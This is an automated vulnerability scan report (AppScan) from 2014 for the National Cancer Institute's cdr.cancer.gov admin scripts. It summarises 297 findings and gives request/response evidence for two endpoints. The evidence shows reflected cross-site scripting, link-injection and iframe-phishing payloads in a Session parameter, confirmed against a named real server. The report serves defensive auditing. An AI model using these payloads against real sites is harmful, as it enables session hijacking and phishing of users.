# Security Issues

NIH Global Level > All Other ICs > NCI Webspace > Authorized Web > cdr.cancer.gov > Security Issues

Exported by (NCI) Spencer, Jay - 8/27/2014 12:12 PM
Generated on 8/25/2014 8:38:04 AM

Help for this report

# Table of Contents

# Executive Summary

## Issue Types Discovered

| Issue Type | Number of Issues |
|---|---|
| Blind SQL Injection | 1 |
| Cross-Site Scripting | 46 |
| SQL Injection | 2 |
| Link Injection (facilitates Cross-Site Request Forgery) | 39 |
| Phishing Through Frames | 41 |
| Cacheable SSL Page Found | 58 |
| Database Error Pattern Found | 3 |
| Hidden Directory Detected | 5 |
| Query Parameter in SSL Request | 97 |
| Application Error | 2 |
| HTML Comments Sensitive Information Disclosure | 3 |

## Affected URLs/Files

| URL/File | Number of Issues |
|---|---|
| https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/CdrDocumentation.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/CdrQueries.py | 7 |
| https://cdr.cancer.gov/cgi-bin/cdr/CheckedOutDocs.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/CheckUrls.py | 6 |
| https://cdr.cancer.gov/cgi-bin/cdr/CitationReports.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/CountrySearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/DISSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/DocumentsModified.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/DrugReviewReport.py | 4 |
| https://cdr.cancer.gov/cgi-bin/cdr/ExternMapFailures.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GlossaryProcessingStatusReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermAudioReviewReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermPhrases.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermReports.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/GlossaryTermSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/Help.py | 6 |
| https://cdr.cancer.gov/cgi-bin/cdr/HelpSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/InvalidDocs.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/LinkedDocs.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/MediaCaptionContent.py | 4 |
| https://cdr.cancer.gov/cgi-bin/cdr/MediaLists.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/MediaTrackingReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/MenuHierarchy.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/MiscSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/ModifiedPubMedDocs.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/PoliticalSubUnitSearch.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/PronunciationRecordings.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/PubStatsByDate.py | 7 |
| https://cdr.cancer.gov/cgi-bin/cdr/QcReport.py | 14 |
| https://cdr.cancer.gov/cgi-bin/cdr/RecordingTrackingReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/ReplaceCWDReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/Request4333.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/Request4486.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/SemanticTypeReport.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/Stub.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/TermHierarchyTree.py | 7 |
| https://cdr.cancer.gov/cgi-bin/cdr/TermUsage.py | 5 |
| https://cdr.cancer.gov/cgi-bin/cdr/UnchangedDocs.py | 5 |

| | |
|---|---|
| https://cdr.cancer.gov/aspnet_client/ | 1 |
| https://cdr.cancer.gov/cgi-bin/ | 1 |
| https://cdr.cancer.gov/cgi-bin/cdr/CitationsInSummaries.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/CiteSearch.py | 3 |
| https://cdr.cancer.gov/cgi-bin/cdr/DatedActions.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/DateLastModified.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/db-tables.py | 1 |
| https://cdr.cancer.gov/cgi-bin/cdr/DiseaseDiagnosisTerms.py | 3 |
| https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/DrugAgentReport2.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/Filter.py | 33 |
| https://cdr.cancer.gov/cgi-bin/cdr/GeneticConditionMenuMappingReport.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/InterventionAndProcedureTerms.py | 3 |
| https://cdr.cancer.gov/cgi-bin/cdr/Logout.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/MediaReports.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/ocecdr-3704.py | 2 |
| https://cdr.cancer.gov/cgi-bin/cdr/ShowGlobalChangeTestResults.py | 3 |
| https://cdr.cancer.gov/cgi-bin/cdr/TerminologyReports.py | 3 |
| https://cdr.cancer.gov/cgi-bin/cdr/TermSearch.py | 2 |
| https://cdr.cancer.gov/images/ | 1 |
| https://cdr.cancer.gov/js/ | 1 |
| https://cdr.cancer.gov/stylesheets/ | 1 |
| https://cdr.cancer.gov/cdrFilter.html | 1 |

## Fix Recommendations

| Fix Recommendations | Number of Affected Issues |
|---|---|
| Review possible solutions for hazardous character injection | 132 |
| Always use SSL and POST (body) parameters when sending sensitive information. | 97 |
| Issue a "404 - Not Found" response status code for a forbidden resource, or remove it completely | 5 |
| Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. | 58 |
| Remove sensitive information from HTML comments | 3 |
| Verify that parameter values are in their expected ranges and types. Do not output debugging error messages and exceptions | 2 |

## Security Risks

| Risk | Number of Issues |
|---|---|
| It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user | 85 |
| It is possible to view, modify or delete database entries and tables | 6 |
| It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. | 80 |
| It is possible to upload, modify or delete web pages, scripts and files on the web server | 39 |
| It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations | 61 |
| It is possible to retrieve information about the site's file system structure, which may help the attacker to map the web site | 5 |
| It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted | 97 |
| It is possible to gather sensitive debugging information | 2 |

## WASC Threat Classification

| WASC Threat Classification | Number of Issues |
|---|---|
| Client-side Attacks: Content Spoofing | 80 |
| Client-side Attacks: Cross-site Scripting | 46 |
| Command Execution: SQL Injection | 6 |
| Information Disclosure: Information Leakage | 165 |

# Issues Sorted by Severity

There are 297 issues of 11 different types across 65 URLs

## [High] https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448264 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 13

**The following changes were applied to the original request:**

```
Injected 'None'/><script>alert(913)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/AdHocQuery.py? Session=None'/><script>alert(913)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:04 GMT
Connection: close
Content-Length: 2656

...
Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(913) </script>'>
<b>Enter SQL query:</b><br>
<textarea name='Query' rows='20' cols='80'>
/*
Modify t.name (Term) to match your document type and
change "%<MenuInformation%" to match your string such
as "%<Phone%Public%" for Person, in the documents of
the given type. Remember
...
...
Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
```

```
        </TR>
        </TABLE>
        <BR>
        <BR>
        <INPUT TYPE='hidden' NAME='Session' VALUE='None'/><script> alert(913) </script>'>
        <b>Enter SQL query:</b><br>
        <textarea name='Query' rows='20' cols='80'>
        /*
        Modify t.name (Term) to match your document type and
        change "%<MenuInformation%" to match your string such
        as "%<Phone%Public%" for Person, in the documents of
        the given type. Remember
        ...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448120 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF910.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/AdHocQuery.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF910.html%22%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:03 GMT
Connection: close
Content-Length: 2653


...
bmit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF910.html"> '>
<b>Enter SQL query:</b><br>
<textarea name='Query' rows='20' cols='80'>
/*
Modify t.name (Term) to match your document type and
change "%<MenuInformation%" to match your string such
as "%<Phone%Public%" for Person, in the documents of
the given type. Remember to use %
...
...
bmit' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='"'> <IMG SRC="/WF_XSRF910.html"> '>
<b>Enter SQL query:</b><br>
<textarea name='Query' rows='20' cols='80'>
/*
Modify t.name (Term) to match your document type and
change "%<MenuInformation%" to match your string such
```

```
        as "%<Phone%Public%" for Person, in the documents of
        the given type. Remember to use %
        ...
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448187 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to
'None%27%22%3E%3Ciframe+id%3D909+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/AdHocQuery.py? Session=None%27%22%3E%3Ciframe+id%3D909+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Wed, 23 Jul 2014 05:58:03 GMT
Connection: close
Content-Length: 2687

...
' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=909 src= http://demo.testfire.net/phishing.html > >'>
<b>Enter SQL query:</b><br>
<textarea name='Query' rows='20' cols='80'>
/*
Modify t.name (Term) to match your document type and
change "%<MenuInformation%" to match your string such
as "%<Phone%Public%" for Person, in the documents of
the given type
...
...
' NAME='Request' VALUE='Log Out'> 
</TD>
</TR>
<TR>
<TD BGCOLOR='#FFFFCC' COLSPAN='3'>
<span style='color: navy; font-size: small;'> Reports<BR></span>
</TD>
</TR>
</TABLE>
<BR>
<BR>
<INPUT TYPE='hidden' NAME='Session' VALUE='None'"> <iframe id=909 src= http://demo.testfire.net/phishing.html > >'>
<b>Enter SQL query:</b><br>
<textarea name='Query' rows='20' cols='80'>
/*
```

```
        Modify t.name (Term) to match your document type and
        change "%<MenuInformation%" to match your string such
        as "%<Phone%Public%" for Person, in the documents of
        the given type
        ...
```

## Issue 4 of 5

## [Low] Cacheable SSL Page Found

| | |
|---|---|
| Issue: | 75448027 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py |
| Risk(s): | It is possible to gather sensitive information about the web application such as usernames, passwords, machine name and/or sensitive file locations |
| Fix: | Prevent caching of SSL pages by adding "Cache-Control: no-store" and "Pragma: no-cache" headers to their responses. |

### Variant 1 of 1

**The following changes were applied to the original request:**

```
- Set path to '/cgi-bin/cdr/AdHocQuery.py'
- Set query string to 'Session=None'
```

**Reasoning:**

```
The application has responded with a response that indicates the page should be cached, but not
ALL cache control headers are set ("Cache-Control: no-store" and either "Pragma: no-cache" or
"Cache-Control: no-cache").
```

**Request/Response:**

```
GET /cgi-bin/cdr/AdHocQuery.py ? Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 17:48:36 GMT
Connection: close
Content-Length: 2626

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## Issue 5 of 5

## [Low] Query Parameter in SSL Request

| | |
|---|---|
| Issue: | 75448203 |
| Severity: | Low |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdHocQuery.py |
| Parameter: | Session |
| Risk(s): | It may be possible to steal sensitive data such as credit card numbers, social security numbers etc. that are sent unencrypted |
| Fix: | Always use SSL and POST (body) parameters when sending sensitive information. |

### Variant 1 of 1

**Reasoning:**

This content may expose sensitive information.

**Request/Response:**

```
GET /cgi-bin/cdr/AdHocQuery.py?Session=None HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GeneralReports.py?Session=None
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 16:31:56 GMT
Connection: close
Content-Length: 2626

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'
'http://www.w3.org/TR/html4/loose.dtd'>
<HTML>
<HEAD>
<TITLE>CDR Administration</TITLE>
<meta http-equiv='Content-Type' content='text/html;charset=utf-8'>
<link rel='shortcut icon' href='/favicon.ico'>
<LINK TYPE='text/css' REL='STYLESHEET' HREF='/stylesheets/dataform.css'>
<style type='text/css'>
body { background-color: #DFDFDF; }
*.banner { background-color: silver;
background-image: url(/images/nav1.jpg); }
*.DTDerror { color: red;

...
```

## [High] https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py - 5 issue(s)

### Issue 1 of 5

### [High] Cross-Site Scripting

| | |
|---|---|
| Issue: | 75448258 |
| Severity: | High |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that user |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 28

**The following changes were applied to the original request:**

```
Injected 'guest'/><script>alert(324)</script>' into the value of parameter 'Session'
```

**Reasoning:**

```
The test result seems to indicate a vulnerability because Appscan successfully embedded a script
in the response, which will be executed when the page loads in the user's browser.
```

**Request/Response:**

```
GET /cgi-bin/cdr/AdvancedSearch.py? Session=guest'/><script>alert(324)</script> HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:24:16 GMT
Connection: close
Content-Length: 3504

...
0000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=guest'/><script> alert(324)
</script>'>Citation</A></LI>
<LI><A HREF='/cgi-
bin/cdr/CountrySearch.py?Session=guest'/><script>alert(324)</script>'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session=guest'/><script>alert(324)</script>'>Drug
Information Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSea
...
...
0000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=guest'/><script> alert(324)
```

```
</script>'>Citation</A></LI>
<LI><A HREF='/cgi-
bin/cdr/CountrySearch.py?Session=guest'/><script>alert(324)</script>'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session=guest'/><script>alert(324)</script>'>Drug
Information Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSea
...
```

## Issue 2 of 5

## [Medium] Link Injection (facilitates Cross-Site Request Forgery)

| | |
|---|---|
| Issue: | 75448102 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc.It is possible to steal or manipulate customer session and cookies, which might be used to impersonate a legitimate user, allowing the hacker to view or alter user records, and to perform transactions as that userIt is possible to upload, modify or delete web pages, scripts and files on the web server |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 2

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to '%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF321.html%22%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a link to the file "WF_XSRF.html".

**Request/Response:**

```
GET /cgi-bin/cdr/AdvancedSearch.py? Session=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF321.html%22%3E
HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:24:16 GMT
Connection: close
Content-Length: 3448

...
COLOR = "#000000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Citation</A></LI>
<LI><A HREF='/cgi-bin/cdr/CountrySearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Drug Information
Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Documentation</A></LI>
<LI><A HREF='/cgi-bin/cdr/GlossaryTermSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Glossary Term</A></LI>
<LI><A HREF='/cgi-bin/cdr/MiscSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Miscellaneous</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Media</A></LI>
<LI><A HREF='/cgi-bin/cdr/OrgSearch2.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Organization</A></LI>
<LI><A HREF='/cgi-bin/cdr/PersonSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Person</A></LI>
<LI><A HREF='/cgi-bin/cdr/PersonLocSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Person
(Locations in Result
Display)</A></LI>
<LI><A HREF='/cgi-bin/cdr/PoliticalSubUnitSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Political SubUnit</A></LI>
<LI><A HREF='/cgi-bin/cdr/ProtSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Protocol</A></LI>
<LI><A HREF='/cgi-bin/cdr/SummarySearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
```

```
'>Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/TermSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Term</A></LI>
</UL>
</FORM></BODY></HTML>
...
COLOR = "#000000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Citation</A></LI>
<LI><A HREF='/cgi-bin/cdr/CountrySearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Drug Information
Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Documentation</A></LI>
<LI><A HREF='/cgi-bin/cdr/GlossaryTermSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Glossary Term</A></LI>
<LI><A HREF='/cgi-bin/cdr/MiscSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Miscellaneous</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html"> '>Media</A></LI>
<LI><A HREF='/cgi-bin/cdr/OrgSearch2.py?Session="'> <IMG SRC="/WF_XSRF321.html">
'>Organization</A></LI>
<LI><A HREF='/cgi-bin/cdr/PersonSearch.py?Session="'> <IMG SRC="/WF_XSRF321.html">
```

## Issue 3 of 5

## [Medium] Phishing Through Frames

| | |
|---|---|
| Issue: | 75448185 |
| Severity: | Medium |
| URL: | https://cdr.cancer.gov/cgi-bin/cdr/AdvancedSearch.py |
| Parameter: | Session |
| Risk(s): | It is possible to persuade a naive user to supply sensitive information such as username, password, credit card number, social security number etc. |
| Fix: | Review possible solutions for hazardous character injection |

### Variant 1 of 1

**The following changes were applied to the original request:**

Set the value of the parameter 'Session' to 'guest%27%22%3E%3Ciframe+id%3D320+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E'

**Reasoning:**

The test result seems to indicate a vulnerability because the test response contained a frame/iframe to URL "http://demo.testfire.net/phishing.html".

**Request/Response:**

```
GET /cgi-bin/cdr/AdvancedSearch.py? Session=guest%27%22%3E%3Ciframe+id%3D320+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
Accept-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: https://cdr.cancer.gov/cgi-bin/cdr/GuestUsers.py?Session=guest
Host: cdr.cancer.gov
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)

HTTP/1.1 200 OK
Content-Type: text/html
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 22 Jul 2014 19:24:15 GMT
Connection: close
Content-Length: 3938

...
R = "#000000">Select a document type to search:</FONT>
</TD>
</TR>
<!--
<TR>
<TD NOWRAP
COLSPAN = "3"
CLASS = "Page"> </TD>
</TR>
-->
</TABLE>
<UL class='Page'>
<LI><A HREF='/cgi-bin/cdr/CiteSearch.py?Session=guest'"> <iframe id=320 src= http://demo.testfire.net/phishing.html > >'>Citation</A></LI>
<LI><A HREF='/cgi-bin/cdr/CountrySearch.py?Session=guest'"> <iframe id=320 src =http://demo.testfire.net/phishing.htm l> >'>Country</A></LI>
<LI><A HREF='/cgi-bin/cdr/DISSearch.py?Session=guest'"> <iframe id=320 sr c=http://demo.testfire.net/phishing.ht ml> >'>Drug Information Summary</A></LI>
<LI><A HREF='/cgi-bin/cdr/HelpSearch.py?Session=guest'"> <iframe id=320 s rc=http://demo.testfire.net/phishing.h tml> >'>Documentation</A></LI>
<LI><A HREF='/cgi-bin/cdr/GlossaryTermSearch.py?Session=guest'"> <iframe id=320 src=http://demo.testfire.net/phishin g. html> >'>Glossary Term</A></LI>
<LI><A HREF='/cgi-bin/cdr/MiscSearch.py?Session=guest'"> <iframe id=320 src=http://demo.testfire.net/phishing .html> >'>Miscellaneous</A></LI>
<LI><A HREF='/cgi-bin/cdr/MediaSearch.py?Session=guest'"> <iframe id=32 0 src=http://demo.testfire.net/phishin g.html> >'>Media</A></LI>
<LI><A HREF='/cgi-bin/cdr/OrgSearch2.py?Session=guest'"> <iframe id=3 20 src=http://demo.testfire.net/phishi ng.html> >'>Organization</A></LI>
<LI><A HREF='/cgi-bin/cdr/PersonSearch.py?Session=guest'"> <iframe id= 320 src=http://demo.testfire.net/phish ing.html> >'>Person</A></LI>
<LI><A HREF='/cgi-bin/cdr/PersonLocSearch.py?Session=guest'"> <iframe id =320 src=http://demo.testfire.net/phis hing.html> >'>Person (Locations in Result Display)</A></LI>
<LI><A HREF='/cgi-bin/cdr/PoliticalSubUnitSearch.py?Session=guest'"> <iframe i d=320 src=http://demo.testfire.net/phi shing.html> >'>Political SubUnit</A></LI>
<LI><A HREF='/cgi-bin/cdr/ProtSearch.py?Session=guest'"> <iframe id=320 src=http://demo.testfire.net/ph ishing.html> >'>Protocol</A></LI>
